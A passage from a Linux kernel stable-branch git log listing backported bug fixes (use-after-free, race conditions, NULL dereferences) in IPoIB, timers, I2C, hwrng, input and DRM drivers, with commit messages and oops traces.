    [18332.870471]  [<ffffffff81207198>] __vfs_write+0x28/0xe0
    [18332.874152]  [<ffffffff810e09bf>] ? percpu_down_read+0x1f/0x50
    [18332.878274]  [<ffffffff81208062>] vfs_write+0xa2/0x1a0
    [18332.881896]  [<ffffffff812093a6>] SyS_write+0x46/0xa0
    [18332.885632]  [<ffffffff810039b7>] do_syscall_64+0x57/0xb0
    [18332.889709]  [<ffffffff81883321>] entry_SYSCALL64_slow_path+0x25/0x25
    [18332.894727] ---[ end trace 09ebbe31f831ef17 ]---
    
    Fixes: ee1e2c82c245 ("IPoIB: Refresh paths instead of flushing them on SM change events")
    Signed-off-by: Alex Vesker <valex@mellanox.com>
    Signed-off-by: Leon Romanovsky <leon@kernel.org>
    Signed-off-by: Doug Ledford <dledford@redhat.com>
    Signed-off-by: Willy Tarreau <w@1wt.eu>

commit 4f0992c3ce721d9820d6450ebd70dd60aa9ea387
Author: Erez Shitrit <erezsh@mellanox.com>
Date:   Sun Aug 28 10:58:30 2016 +0300

    IB/core: Fix use after free in send_leave function
    
    commit 68c6bcdd8bd00394c234b915ab9b97c74104130c upstream.
    
    The function send_leave sets the member: group->query_id
    (group->query_id = ret) after calling the sa_query, but leave_handler
    can be executed before the setting and it might delete the group object,
    and will get a memory corruption.
    
    Additionally, this patch gets rid of group->query_id variable which is
    not used.
    
    Fixes: faec2f7b96b5 ('IB/sa: Track multicast join/leave requests')
    Signed-off-by: Erez Shitrit <erezsh@mellanox.com>
    Signed-off-by: Leon Romanovsky <leon@kernel.org>
    Signed-off-by: Doug Ledford <dledford@redhat.com>
    Signed-off-by: Willy Tarreau <w@1wt.eu>

commit 27816fef78ae4c88cb91a5cedfc159fe2a4464b0
Author: Erez Shitrit <erezsh@mellanox.com>
Date:   Sun Aug 28 10:58:31 2016 +0300

    IB/ipoib: Fix memory corruption in ipoib cm mode connect flow
    
    commit 546481c2816ea3c061ee9d5658eb48070f69212e upstream.
    
    When a new CM connection is being requested, ipoib driver copies data
    from the path pointer in the CM/tx object, the path object might be
    invalid at the point and memory corruption will happened later when now
    the CM driver will try using that data.
    
    The next scenario demonstrates it:
            neigh_add_path --> ipoib_cm_create_tx -->
            queue_work (pointer to path is in the cm/tx struct)
            #while the work is still in the queue,
            #the port goes down and causes the ipoib_flush_paths:
            ipoib_flush_paths --> path_free --> kfree(path)
            #at this point the work scheduled starts.
            ipoib_cm_tx_start --> copy from the (invalid)path pointer:
            (memcpy(&pathrec, &p->path->pathrec, sizeof pathrec);)
             -> memory corruption.
    
    To fix that the driver now starts the CM/tx connection only if that
    specific path exists in the general paths database.
    This check is protected with the relevant locks, and uses the gid from
    the neigh member in the CM/tx object which is valid according to the ref
    count that was taken by the CM/tx.
    
    Fixes: 839fcaba35 ('IPoIB: Connected mode experimental support')
    Signed-off-by: Erez Shitrit <erezsh@mellanox.com>
    Signed-off-by: Leon Romanovsky <leon@kernel.org>
    Signed-off-by: Doug Ledford <dledford@redhat.com>
    Signed-off-by: Willy Tarreau <w@1wt.eu>

commit c6983c1f9f9b3327ee762c8059b8987c26498e44
Author: Emmanouil Maroudas <emmanouil.maroudas@gmail.com>
Date:   Sat Apr 23 18:33:00 2016 +0300

    EDAC: Increment correct counter in edac_inc_ue_error()
    
    commit 993f88f1cc7f0879047ff353e824e5cc8f10adfc upstream.
    
    Fix typo in edac_inc_ue_error() to increment ue_noinfo_count instead of
    ce_noinfo_count.
    
    Signed-off-by: Emmanouil Maroudas <emmanouil.maroudas@gmail.com>
    Cc: Mauro Carvalho Chehab <mchehab@osg.samsung.com>
    Cc: linux-edac <linux-edac@vger.kernel.org>
    Fixes: 4275be635597 ("edac: Change internal representation to work with layers")
    Link: http://lkml.kernel.org/r/1461425580-5898-1-git-send-email-emmanouil.maroudas@gmail.com
    Signed-off-by: Borislav Petkov <bp@suse.de>
    Signed-off-by: Willy Tarreau <w@1wt.eu>

commit de3e6236be56af86c2ce3ec698b10426dadc9916
Author: Tejun Heo <tj@kernel.org>
Date:   Wed Nov 4 12:15:33 2015 -0500

    timers: Use proper base migration in add_timer_on()
    
    commit 22b886dd1018093920c4250dee2a9a3cb7cff7b8 upstream.
    
    Regardless of the previous CPU a timer was on, add_timer_on()
    currently simply sets timer->flags to the new CPU.  As the caller must
    be seeing the timer as idle, this is locally fine, but the timer
    leaving the old base while unlocked can lead to race conditions as
    follows.
    
    Let's say timer was on cpu 0.
    
      cpu 0                                 cpu 1
      -----------------------------------------------------------------------------
      del_timer(timer) succeeds
                                            del_timer(timer)
                                              lock_timer_base(timer) locks cpu_0_base
      add_timer_on(timer, 1)
        spin_lock(&cpu_1_base->lock)
        timer->flags set to cpu_1_base
        operates on @timer                    operates on @timer
    
    This triggered with mod_delayed_work_on() which contains
    "if (del_timer()) add_timer_on()" sequence eventually leading to the
    following oops.
    
      BUG: unable to handle kernel NULL pointer dereference at           (null)
      IP: [<ffffffff810ca6e9>] detach_if_pending+0x69/0x1a0
      ...
      Workqueue: wqthrash wqthrash_workfunc [wqthrash]
      task: ffff8800172ca680 ti: ffff8800172d0000 task.ti: ffff8800172d0000
      RIP: 0010:[<ffffffff810ca6e9>]  [<ffffffff810ca6e9>] detach_if_pending+0x69/0x1a0
      ...
      Call Trace:
       [<ffffffff810cb0b4>] del_timer+0x44/0x60
       [<ffffffff8106e836>] try_to_grab_pending+0xb6/0x160
       [<ffffffff8106e913>] mod_delayed_work_on+0x33/0x80
       [<ffffffffa0000081>] wqthrash_workfunc+0x61/0x90 [wqthrash]
       [<ffffffff8106dba8>] process_one_work+0x1e8/0x650
       [<ffffffff8106e05e>] worker_thread+0x4e/0x450
       [<ffffffff810746af>] kthread+0xef/0x110
       [<ffffffff8185980f>] ret_from_fork+0x3f/0x70
    
    Fix it by updating add_timer_on() to perform proper migration as
    __mod_timer() does.
    
    Mike: apply tglx backport
    
    Reported-and-tested-by: Jeff Layton <jlayton@poochiereds.net>
    Signed-off-by: Tejun Heo <tj@kernel.org>
    Cc: Chris Worley <chris.worley@primarydata.com>
    Cc: bfields@fieldses.org
    Cc: Michael Skralivetsky <michael.skralivetsky@primarydata.com>
    Cc: Trond Myklebust <trond.myklebust@primarydata.com>
    Cc: Shaohua Li <shli@fb.com>
    Cc: Jeff Layton <jlayton@poochiereds.net>
    Cc: kernel-team@fb.com
    Cc: stable@vger.kernel.org
    Link: http://lkml.kernel.org/r/20151029103113.2f893924@tlielax.poochiereds.net
    Link: http://lkml.kernel.org/r/20151104171533.GI5749@mtj.duckdns.org
    Signed-off-by: Thomas Gleixner <tglx@linutronix.de>
    Signed-off-by: Mike Galbraith <mgalbraith@suse.de>
    Signed-off-by: Willy Tarreau <w@1wt.eu>

commit d4898081cf84eec81a21d9dc67cf6e3dbe583ce0
Author: Gavin Li <git@thegavinli.com>
Date:   Fri Aug 12 00:52:56 2016 -0700

    cdc-acm: fix wrong pipe type on rx interrupt xfers
    
    commit add125054b8727103631dce116361668436ef6a7 upstream.
    
    This fixes the "BOGUS urb xfer" warning logged by usb_submit_urb().
    
    Signed-off-by: Gavin Li <git@thegavinli.com>
    Acked-by: Oliver Neukum <oneukum@suse.com>
    Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
    Signed-off-by: Willy Tarreau <w@1wt.eu>

commit 995a387640ffec472f433677a67997f596a765f0
Author: Krzysztof Kozlowski <krzk@kernel.org>
Date:   Tue Nov 22 19:22:44 2016 +0200

    thermal: hwmon: Properly report critical temperature in sysfs
    
    commit f37fabb8643eaf8e3b613333a72f683770c85eca upstream.
    
    In the critical sysfs entry the thermal hwmon was returning wrong
    temperature to the user-space.  It was reporting the temperature of the
    first trip point instead of the temperature of critical trip point.
    
    For example:
            /sys/class/hwmon/hwmon0/temp1_crit:50000
            /sys/class/thermal/thermal_zone0/trip_point_0_temp:50000
            /sys/class/thermal/thermal_zone0/trip_point_0_type:active
            /sys/class/thermal/thermal_zone0/trip_point_3_temp:120000
            /sys/class/thermal/thermal_zone0/trip_point_3_type:critical
    
    Since commit e68b16abd91d ("thermal: add hwmon sysfs I/F") the driver
    have been registering a sysfs entry if get_crit_temp() callback was
    provided.  However when accessed, it was calling get_trip_temp() instead
    of the get_crit_temp().
    
    Fixes: e68b16abd91d ("thermal: add hwmon sysfs I/F")
    Signed-off-by: Krzysztof Kozlowski <krzk@kernel.org>
    Signed-off-by: Zhang Rui <rui.zhang@intel.com>
    [wt: s/thermal_hwmon.c/thermal_core.c in 3.10]
    
    Signed-off-by: Willy Tarreau <w@1wt.eu>

commit 4813b8bd3e7eea6ea15e439dcd01b42643d41fb4
Author: Linus Walleij <linus.walleij@linaro.org>
Date:   Thu Sep 1 11:44:35 2016 +0200

    iio: accel: kxsd9: Fix scaling bug
    
    commit 307fe9dd11ae44d4f8881ee449a7cbac36e1f5de upstream.
    
    All the scaling of the KXSD9 involves multiplication with a
    fraction number < 1.
    
    However the scaling value returned from IIO_INFO_SCALE was
    unpredictable as only the micros of the value was assigned, and
    not the integer part, resulting in scaling like this:
    
    $cat in_accel_scale
    -1057462640.011978
    
    Fix this by assigning zero to the integer part.
    
    Tested-by: Jonathan Cameron <jic23@kernel.org>
    Signed-off-by: Linus Walleij <linus.walleij@linaro.org>
    Signed-off-by: Jonathan Cameron <jic23@kernel.org>
    Signed-off-by: Willy Tarreau <w@1wt.eu>

commit 0f9dcb7bb15e9df1c307ed386a1769381d80017f
Author: Linus Walleij <linus.walleij@linaro.org>
Date:   Tue Aug 16 15:33:28 2016 +0200

    iio: accel: kxsd9: Fix raw read return
    
    commit 7ac61a062f3147dc23e3f12b9dfe7c4dd35f9cb8 upstream.
    
    Any readings from the raw interface of the KXSD9 driver will
    return an empty string, because it does not return
    IIO_VAL_INT but rather some random value from the accelerometer
    to the caller.
    
    Signed-off-by: Linus Walleij <linus.walleij@linaro.org>
    Signed-off-by: Jonathan Cameron <jic23@kernel.org>
    Signed-off-by: Willy Tarreau <w@1wt.eu>

commit 53f6ff2f88690a5dbf50c108e52f14679982d137
Author: Cyrille Pitchen <cyrille.pitchen@atmel.com>
Date:   Wed Oct 21 15:44:03 2015 +0200

    i2c: at91: fix write transfers by clearing pending interrupt first
    
    commit 6f6ddbb09d2a5baded0e23add3ad2d9e9417ab30 upstream.
    
    In some cases a NACK interrupt may be pending in the Status Register (SR)
    as a result of a previous transfer. However at91_do_twi_transfer() did not
    read the SR to clear pending interruptions before starting a new transfer.
    Hence a NACK interrupt rose as soon as it was enabled again at the I2C
    controller level, resulting in a wrong sequence of operations and strange
    patterns of behaviour on the I2C bus, such as a clock stretch followed by
    a restart of the transfer.
    
    This first issue occurred with both DMA and PIO write transfers.
    
    Also when a NACK error was detected during a PIO write transfer, the
    interrupt handler used to wrongly start a new transfer by writing into the
    Transmit Holding Register (THR). Then the I2C slave was likely to reply
    with a second NACK.
    
    This second issue is fixed in atmel_twi_interrupt() by handling the TXRDY
    status bit only if both the TXCOMP and NACK status bits are cleared.
    
    Tested with a at24 eeprom on sama5d36ek board running a linux-4.1-at91
    kernel image. Adapted to linux-next.
    
    Reported-by: Peter Rosin <peda@lysator.liu.se>
    Signed-off-by: Cyrille Pitchen <cyrille.pitchen@atmel.com>
    Signed-off-by: Ludovic Desroches <ludovic.desroches@atmel.com>
    Tested-by: Peter Rosin <peda@lysator.liu.se>
    Signed-off-by: Wolfram Sang <wsa@the-dreams.de>
    Fixes: 93563a6a71bb ("i2c: at91: fix a race condition when using the DMA controller")
    Signed-off-by: Willy Tarreau <w@1wt.eu>

commit 3c5054e9776992ee9cac82c0b4b85f241e953851
Author: Vladimir Zapolskiy <vladimir_zapolskiy@mentor.com>
Date:   Mon Oct 31 21:46:24 2016 +0200

    i2c: core: fix NULL pointer dereference under race condition
    
    commit 147b36d5b70c083cc76770c47d60b347e8eaf231 upstream.
    
    Race condition between registering an I2C device driver and
    deregistering an I2C adapter device which is assumed to manage that
    I2C device may lead to a NULL pointer dereference due to the
    uninitialized list head of driver clients.
    
    The root cause of the issue is that the I2C bus may know about the
    registered device driver and thus it is matched by bus_for_each_drv(),
    but the list of clients is not initialized and commonly it is NULL,
    because I2C device drivers define struct i2c_driver as static and
    clients field is expected to be initialized by I2C core:
    
      i2c_register_driver()             i2c_del_adapter()
        driver_register()                 ...
          bus_add_driver()                ...
            ...                           bus_for_each_drv(..., __process_removed_adapter)
          ...                               i2c_do_del_adapter()
        ...                                   list_for_each_entry_safe(..., &driver->clients, ...)
        INIT_LIST_HEAD(&driver->clients);
    
    To solve the problem it is sufficient to do clients list head
    initialization before calling driver_register().
    
    The problem was found while using an I2C device driver with a sluggish
    registration routine on a bus provided by a physically detachable I2C
    master controller, but practically the oops may be reproduced under
    the race between arbitraty I2C device driver registration and managing
    I2C bus device removal e.g. by unbinding the latter over sysfs:
    
    % echo 21a4000.i2c > /sys/bus/platform/drivers/imx-i2c/unbind
      Unable to handle kernel NULL pointer dereference at virtual address 00000000
      Internal error: Oops: 17 [#1] SMP ARM
      CPU: 2 PID: 533 Comm: sh Not tainted 4.9.0-rc3+ #61
      Hardware name: Freescale i.MX6 Quad/DualLite (Device Tree)
      task: e5ada400 task.stack: e4936000
      PC is at i2c_do_del_adapter+0x20/0xcc
      LR is at __process_removed_adapter+0x14/0x1c
      Flags: NzCv  IRQs on  FIQs on  Mode SVC_32  ISA ARM  Segment none
      Control: 10c5387d  Table: 35bd004a  DAC: 00000051
      Process sh (pid: 533, stack limit = 0xe4936210)
      Stack: (0xe4937d28 to 0xe4938000)
      Backtrace:
      [<c0667be0>] (i2c_do_del_adapter) from [<c0667cc0>] (__process_removed_adapter+0x14/0x1c)
      [<c0667cac>] (__process_removed_adapter) from [<c0516998>] (bus_for_each_drv+0x6c/0xa0)
      [<c051692c>] (bus_for_each_drv) from [<c06685ec>] (i2c_del_adapter+0xbc/0x284)
      [<c0668530>] (i2c_del_adapter) from [<bf0110ec>] (i2c_imx_remove+0x44/0x164 [i2c_imx])
      [<bf0110a8>] (i2c_imx_remove [i2c_imx]) from [<c051a838>] (platform_drv_remove+0x2c/0x44)
      [<c051a80c>] (platform_drv_remove) from [<c05183d8>] (__device_release_driver+0x90/0x12c)
      [<c0518348>] (__device_release_driver) from [<c051849c>] (device_release_driver+0x28/0x34)
      [<c0518474>] (device_release_driver) from [<c0517150>] (unbind_store+0x80/0x104)
      [<c05170d0>] (unbind_store) from [<c0516520>] (drv_attr_store+0x28/0x34)
      [<c05164f8>] (drv_attr_store) from [<c0298acc>] (sysfs_kf_write+0x50/0x54)
      [<c0298a7c>] (sysfs_kf_write) from [<c029801c>] (kernfs_fop_write+0x100/0x214)
      [<c0297f1c>] (kernfs_fop_write) from [<c0220130>] (__vfs_write+0x34/0x120)
      [<c02200fc>] (__vfs_write) from [<c0221088>] (vfs_write+0xa8/0x170)
      [<c0220fe0>] (vfs_write) from [<c0221e74>] (SyS_write+0x4c/0xa8)
      [<c0221e28>] (SyS_write) from [<c0108a20>] (ret_fast_syscall+0x0/0x1c)
    
    Signed-off-by: Vladimir Zapolskiy <vladimir_zapolskiy@mentor.com>
    Signed-off-by: Wolfram Sang <wsa@the-dreams.de>
    Signed-off-by: Willy Tarreau <w@1wt.eu>

commit c05b6f0adec9156d284c369002f9d7b0f053aa1e
Author: Dan Carpenter <dan.carpenter@oracle.com>
Date:   Mon May 9 05:22:55 2016 -0300

    em28xx-i2c: rt_mutex_trylock() returns zero on failure
    
    commit e44c153b30c9a0580fc2b5a93f3c6d593def2278 upstream.
    
    The code is checking for negative returns but it should be checking for
    zero.
    
    Fixes: aab3125c43d8 ('[media] em28xx: add support for registering multiple i2c buses')
    
    Signed-off-by: Dan Carpenter <dan.carpenter@oracle.com>
    Signed-off-by: Mauro Carvalho Chehab <mchehab@osg.samsung.com>
    Signed-off-by: Willy Tarreau <w@1wt.eu>

commit 24e4e0023a75da713b06c8de0ee1849534a54bd9
Author: Yadi.hu <yadi.hu@windriver.com>
Date:   Sun Sep 18 18:52:31 2016 +0800

    i2c-eg20t: fix race between i2c init and interrupt enable
    
    commit 371a015344b6e270e7e3632107d9554ec6d27a6b upstream.
    
    the eg20t driver call request_irq() function before the pch_base_address,
    base address of i2c controller's register, is assigned an effective value.
    
    there is one possible scenario that an interrupt which isn't inside eg20t
    arrives immediately after request_irq() is executed when i2c controller
    shares an interrupt number with others. since the interrupt handler
    pch_i2c_handler() has already active as shared action, it will be called
    and read its own register to determine if this interrupt is from itself.
    
    At that moment, since base address of i2c registers is not remapped
    in kernel space yet,so the INT handler will access an illegal address
    and then a error occurs.
    
    Signed-off-by: Yadi.hu <yadi.hu@windriver.com>
    Signed-off-by: Wolfram Sang <wsa@the-dreams.de>
    Signed-off-by: Willy Tarreau <w@1wt.eu>

commit 8e9a1e986a52f262d224cb3b08f7ea08f5ad3252
Author: Dave Gerlach <d-gerlach@ti.com>
Date:   Tue Sep 20 10:25:40 2016 -0500

    hwrng: omap - Only fail if pm_runtime_get_sync returns < 0
    
    commit ad8529fde9e3601180a839867a8ab041109aebb5 upstream.
    
    Currently omap-rng checks the return value of pm_runtime_get_sync and
    reports failure if anything is returned, however it should be checking
    if ret < 0 as pm_runtime_get_sync return 0 on success but also can return
    1 if the device was already active which is not a failure case. Only
    values < 0 are actual failures.
    
    Fixes: 61dc0a446e5d ("hwrng: omap - Fix assumption that runtime_get_sync will always succeed")
    Signed-off-by: Dave Gerlach <d-gerlach@ti.com>
    Signed-off-by: Herbert Xu <herbert@gondor.apana.org.au>
    Signed-off-by: Willy Tarreau <w@1wt.eu>

commit 1ef0fbffc8c39ef08c7353241f81226e7a42c481
Author: Nishanth Menon <nm@ti.com>
Date:   Fri Jun 24 11:50:39 2016 -0500

    hwrng: omap - Fix assumption that runtime_get_sync will always succeed
    
    commit 61dc0a446e5d08f2de8a24b45f69a1e302bb1b1b upstream.
    
    pm_runtime_get_sync does return a error value that must be checked for
    error conditions, else, due to various reasons, the device maynot be
    enabled and the system will crash due to lack of clock to the hardware
    module.
    
    Before:
    12.562784] [00000000] *pgd=fe193835
    12.562792] Internal error: : 1406 [#1] SMP ARM
    [...]
    12.562864] CPU: 1 PID: 241 Comm: modprobe Not tainted 4.7.0-rc4-next-20160624 #2
    12.562867] Hardware name: Generic DRA74X (Flattened Device Tree)
    12.562872] task: ed51f140 ti: ed44c000 task.ti: ed44c000
    12.562886] PC is at omap4_rng_init+0x20/0x84 [omap_rng]
    12.562899] LR is at set_current_rng+0xc0/0x154 [rng_core]
    [...]
    
    After the proper checks:
    [   94.366705] omap_rng 48090000.rng: _od_fail_runtime_resume: FIXME:
    missing hwmod/omap_dev info
    [   94.375767] omap_rng 48090000.rng: Failed to runtime_get device -19
    [   94.382351] omap_rng 48090000.rng: initialization failed.
    
    Fixes: 665d92fa85b5 ("hwrng: OMAP: convert to use runtime PM")
    Cc: Paul Walmsley <paul@pwsan.com>
    Signed-off-by: Nishanth Menon <nm@ti.com>
    Signed-off-by: Herbert Xu <herbert@gondor.apana.org.au>
    [wt: adjusted context for pre-3.12-rc1 kernels]
    
    Signed-off-by: Willy Tarreau <w@1wt.eu>

commit 08cd2b50f3101c9e16839d84c6791bd416a3a70d
Author: Krzysztof Kozlowski <k.kozlowski@samsung.com>
Date:   Mon Mar 14 09:07:14 2016 +0900

    hwrng: exynos - Disable runtime PM on probe failure
    
    commit 48a61e1e2af8020f11a2b8f8dc878144477623c6 upstream.
    
    Add proper error path (for disabling runtime PM) when registering of
    hwrng fails.
    
    Fixes: b329669ea0b5 ("hwrng: exynos - Add support for Exynos random number generator")
    Signed-off-by: Krzysztof Kozlowski <k.kozlowski@samsung.com>
    Signed-off-by: Herbert Xu <herbert@gondor.apana.org.au>
    Signed-off-by: Willy Tarreau <w@1wt.eu>

commit cee7df22578d423b4748b6ba0e8f15246f1a6000
Author: Dmitry Torokhov <dmitry.torokhov@gmail.com>
Date:   Tue Aug 2 10:31:43 2016 -0700

    Input: ili210x - fix permissions on "calibrate" attribute
    
    commit b27c0d0c3bf3073e8ae19875eb1d3755c5e8c072 upstream.
    
    "calibrate" attribute does not provide "show" methods and thus we should
    not mark it as readable.
    
    Signed-off-by: Dmitry Torokhov <dmitry.torokhov@gmail.com>
    Signed-off-by: Willy Tarreau <w@1wt.eu>

commit 76494f748ade12160ab42552e582a656a942997d
Author: Dmitry Torokhov <dmitry.torokhov@gmail.com>
Date:   Tue Aug 16 17:38:54 2016 -0700

    Input: i8042 - set up shared ps2_cmd_mutex for AUX ports
    
    commit 47af45d684b5f3ae000ad448db02ce4f13f73273 upstream.
    
    The commit 4097461897df ("Input: i8042 - break load dependency ...")
    correctly set up ps2_cmd_mutex pointer for the KBD port but forgot to do
    the same for AUX port(s), which results in communication on KBD and AUX
    ports to clash with each other.
    
    Fixes: 4097461897df ("Input: i8042 - break load dependency ...")
    Reported-by: Bruno Wolff III <bruno@wolff.to>
    Tested-by: Bruno Wolff III <bruno@wolff.to>
    Signed-off-by: Dmitry Torokhov <dmitry.torokhov@gmail.com>
    Signed-off-by: Willy Tarreau <w@1wt.eu>

commit 6a0f3597d6bec9c7c4daf738f0be21d7b9616a95
Author: Dmitry Torokhov <dmitry.torokhov@gmail.com>
Date:   Mon Jul 25 11:36:54 2016 -0700

    Input: i8042 - break load dependency between atkbd/psmouse and i8042
    
    commit 4097461897df91041382ff6fcd2bfa7ee6b2448c upstream.
    
    As explained in 1407814240-4275-1-git-send-email-decui@microsoft.com we
    have a hard load dependency between i8042 and atkbd which prevents
    keyboard from working on Gen2 Hyper-V VMs.
    
    > hyperv_keyboard invokes serio_interrupt(), which needs a valid serio
    > driver like atkbd.c.  atkbd.c depends on libps2.c because it invokes
    > ps2_command().  libps2.c depends on i8042.c because it invokes
    > i8042_check_port_owner().  As a result, hyperv_keyboard actually
    > depends on i8042.c.
    >
    > For a Generation 2 Hyper-V VM (meaning no i8042 device emulated), if a
    > Linux VM (like Arch Linux) happens to configure CONFIG_SERIO_I8042=m
    > rather than =y, atkbd.ko can't load because i8042.ko can't load(due to
    > no i8042 device emulated) and finally hyperv_keyboard can't work and
    > the user can't input: https://bugs.archlinux.org/task/39820
    > (Ubuntu/RHEL/SUSE aren't affected since they use CONFIG_SERIO_I8042=y)
    
    To break the dependency we move away from using i8042_check_port_owner()
    and instead allow serio port owner specify a mutex that clients should use
    to serialize PS/2 command stream.
    
    Reported-by: Mark Laws <mdl@60hz.org>
    Tested-by: Mark Laws <mdl@60hz.org>
    Signed-off-by: Dmitry Torokhov <dmitry.torokhov@gmail.com>
    Signed-off-by: Willy Tarreau <w@1wt.eu>

commit c23e6ab94a41ac66390ea78a89eceea78a1b5795
Author: Dan Carpenter <dan.carpenter@oracle.com>
Date:   Mon Jul 11 11:46:33 2016 +0300

    qxl: check for kmap failures
    
    commit f4cceb2affcd1285d4ce498089e8a79f4cd2fa66 upstream.
    
    If kmap fails, it leads to memory corruption.
    
    Fixes: f64122c1f6ad ('drm: add new QXL driver. (v1.4)')
    Signed-off-by: Dan Carpenter <dan.carpenter@oracle.com>
    Signed-off-by: Daniel Vetter <daniel.vetter@ffwll.ch>
    Link: http://patchwork.freedesktop.org/patch/msgid/20160711084633.GA31411@mwanda
    Signed-off-by: Willy Tarreau <w@1wt.eu>

commit e5b91efc39672ab8c42fe70cdd9cc41f2d274ec5
Author: Michel Dänzer <michel@daenzer.net>
Date:   Tue Nov 29 18:40:20 2016 +0900

    drm/radeon: Ensure vblank interrupt is enabled on DPMS transition to on
    
    NOTE: This patch only applies to 4.5.y or older kernels. With newer
    kernels, this problem cannot happen because the driver now uses
    drm_crtc_vblank_on/off instead of drm_vblank_pre/post_modeset[0]. I
    consider this patch safer for older kernels than backporting the API
    change, because drm_crtc_vblank_on/off had various issues in older
    kernels, and I'm not sure all fixes for those have been backported to
    all stable branches where this patch could be applied.
    
        ---------------------
    
    Fixes the vblank interrupt being disabled when it should be on, which
    can cause at least the following symptoms:
    
    * Hangs when running 'xset dpms force off' in a GNOME session with
      gnome-shell using DRI2.
    * RandR 1.4 slave outputs freezing with garbage displayed using
      xf86-video-ati 7.8.0 or newer.
    
    [0] See upstream commit:
    
    commit 777e3cbc791f131806d9bf24b3325637c7fc228d
    Author: Daniel Vetter <daniel.vetter@ffwll.ch>
    Date:   Thu Jan 21 11:08:57 2016 +0100
    
        drm/radeon: Switch to drm_vblank_on/off
    
    Reported-and-Tested-by: Max Staudt <mstaudt@suse.de>
    Reviewed-by: Daniel Vetter <daniel@ffwll.ch>
    Reviewed-by: Alex Deucher <alexander.deucher@amd.com>
    Signed-off-by: Michel Dänzer <michel.daenzer@amd.com>
    Signed-off-by: Willy Tarreau <w@1wt.eu>

commit d9488736f7c3199659436ede9c61b8ed25f533e8
Author: Daniel Vetter <daniel.vetter@ffwll.ch>
Date:   Sat Aug 20 12:22:11 2016 +0200

    drm: Reject page_flip for !DRIVER_MODESET
    
    commit 6f00975c619064a18c23fd3aced325ae165a73b9 upstream.
    
    Somehow this one slipped through, which means drivers without modeset
    support can be oopsed (since those also don't call
    drm_mode_config_init, which means the crtc lookup will chase an
    uninitalized idr).
    
    Reported-by: Alexander Potapenko <glider@google.com>
    Cc: Alexander Potapenko <glider@google.com>
    Signed-off-by: Daniel Vetter <daniel.vetter@intel.com>
    Reviewed-by: Chris Wilson <chris@chris-wilson.co.uk>
    Signed-off-by: Dave Airlie <airlied@redhat.com>
    Signed-off-by: Willy Tarreau <w@1wt.eu>

commit 85f44a424d80a2cea83279726231818d551b502a
Author: Christian König <christian.koenig@amd.com>
Date:   Wed Aug 17 09:46:42 2016 +0200

    drm/radeon: fix radeon_move_blit on 32bit systems
    
    commit 13f479b9df4e2bbf2d16e7e1b02f3f55f70e2455 upstream.
    
    This bug seems to be present for a very long time.
    
    Signed-off-by: Christian König <christian.koenig@amd.com>
    Reviewed-by: Alex Deucher <alexander.deucher@amd.com>
    Signed-off-by: Alex Deucher <alexander.deucher@amd.com>
    Signed-off-by: Willy Tarreau <w@1wt.eu>

commit e7f6e3c9db4b6f259c89fd05728d024ab32acd71
Author: Ming Lei <ming.lei@canonical.com>
Date:   Sun Jul 10 19:27:36 2016 +0800

    driver core: fix race between creating/querying glue dir and its cleanup
    
    commit cebf8fd16900fdfd58c0028617944f808f97fe50 upstream.
    
    The global mutex of 'gdp_mutex' is used to serialize creating/querying
    glue dir and its cleanup. Turns out it isn't a perfect way because
    part(kobj_kset_leave()) of the actual cleanup action() is done inside
    the release handler of the glue dir kobject. That means gdp_mutex has
    to be held before releasing the last reference count of the glue dir
    kobject.
    
    This patch moves glue dir's cleanup after kobject_del() in device_del()
    for avoiding the race.
    
    Cc: Yijing Wang <wangyijing@huawei.com>
    Reported-by: Chandra Sekhar Lingutla <clingutla@codeaurora.org>
    Signed-off-by: Ming Lei <ming.lei@canonical.com>
    Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
    Signed-off-by: Willy Tarreau <w@1wt.eu>

commit 2348b4879642321a6ba75dfc34c7b3c01035c703
Author: Markus Elfring <elfring@users.sourceforge.net>
Date:   Thu Feb 5 11:48:26 2015 +0100

    driver core: Delete an unnecessary check before the function call "put_device"
    
    commit 5f0163a5ee9cc7c59751768bdfd94a73186debba upstream.
    
    The put_device() function tests whether its argument is NULL and then
    returns immediately. Thus the test around the call is not needed.
    
    This issue was detected by using the Coccinelle software.
    
    Signed-off-by: Markus Elfring <elfring@users.sourceforge.net>
    Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
    [wt: backported only to ease next patch as suggested by Jiri]
    
    Signed-off-by: Willy Tarreau <w@1wt.eu>

commit cb1f02fdce552a4a962cb290571504ceed9c6d7e
Author: Dan Carpenter <dan.carpenter@oracle.com>
Date:   Wed Jul 13 13:12:34 2016 +0300

    hostfs: Freeing an ERR_PTR in hostfs_fill_sb_common()
    
    commit 8a545f185145e3c09348cd74326268ecfc6715a3 upstream.
    
    We can't pass error pointers to kfree() or it causes an oops.
    
    Fixes: 52b209f7b848 ('get rid of hostfs_read_inode()')
    Signed-off-by: Dan Carpenter <dan.carpenter@oracle.com>
    Signed-off-by: Richard Weinberger <richard@nod.at>
    Signed-off-by: Willy Tarreau <w@1wt.eu>

commit ca39cc12d76184890036453ebcfba4371221b5fb
Author: Jan Kara <jack@suse.cz>
Date:   Tue Oct 4 13:44:06 2016 +0200

    isofs: Do not return EACCES for unknown filesystems
    
    commit a2ed0b391dd9c3ef1d64c7c3e370f4a5ffcd324a upstream.
    
    When isofs_mount() is called to mount a device read-write, it returns
    EACCES even before it checks that the device actually contains an isofs
    filesystem. This may confuse mount(8) which then tries to mount all
    subsequent filesystem types in read-only mode.
    
    Fix the problem by returning EACCES only once we verify that the device
    indeed contains an iso9660 filesystem.
    
    Fixes: 17b7f7cf58926844e1dd40f5eb5348d481deca6a
    Reported-by: Kent Overstreet <kent.overstreet@gmail.com>
    Reported-by: Karel Zak <kzak@redhat.com>
    Signed-off-by: Jan Kara <jack@suse.cz>
    Signed-off-by: Willy Tarreau <w@1wt.eu>

commit b24eac8630f76a4be485959473045371684aa4f8
Author: Oleg Nesterov <oleg@redhat.com>
Date:   Mon Sep 26 18:07:48 2016 +0200

    fs/super.c: fix race between freeze_super() and thaw_super()
    
    commit 89f39af129382a40d7cd1f6914617282cfeee28e upstream.
    
    Change thaw_super() to check frozen != SB_FREEZE_COMPLETE rather than
    frozen == SB_UNFROZEN, otherwise it can race with freeze_super() which
    drops sb->s_umount after SB_FREEZE_WRITE to preserve the lock ordering.
    
    In this case thaw_super() will wrongly call s_op->unfreeze_fs() before
    it was actually frozen, and call sb_freeze_unlock() which leads to the
    unbalanced percpu_up_write(). Unfortunately lockdep can't detect this,
    so this triggers misc BUG_ON()'s in kernel/rcu/sync.c.
    
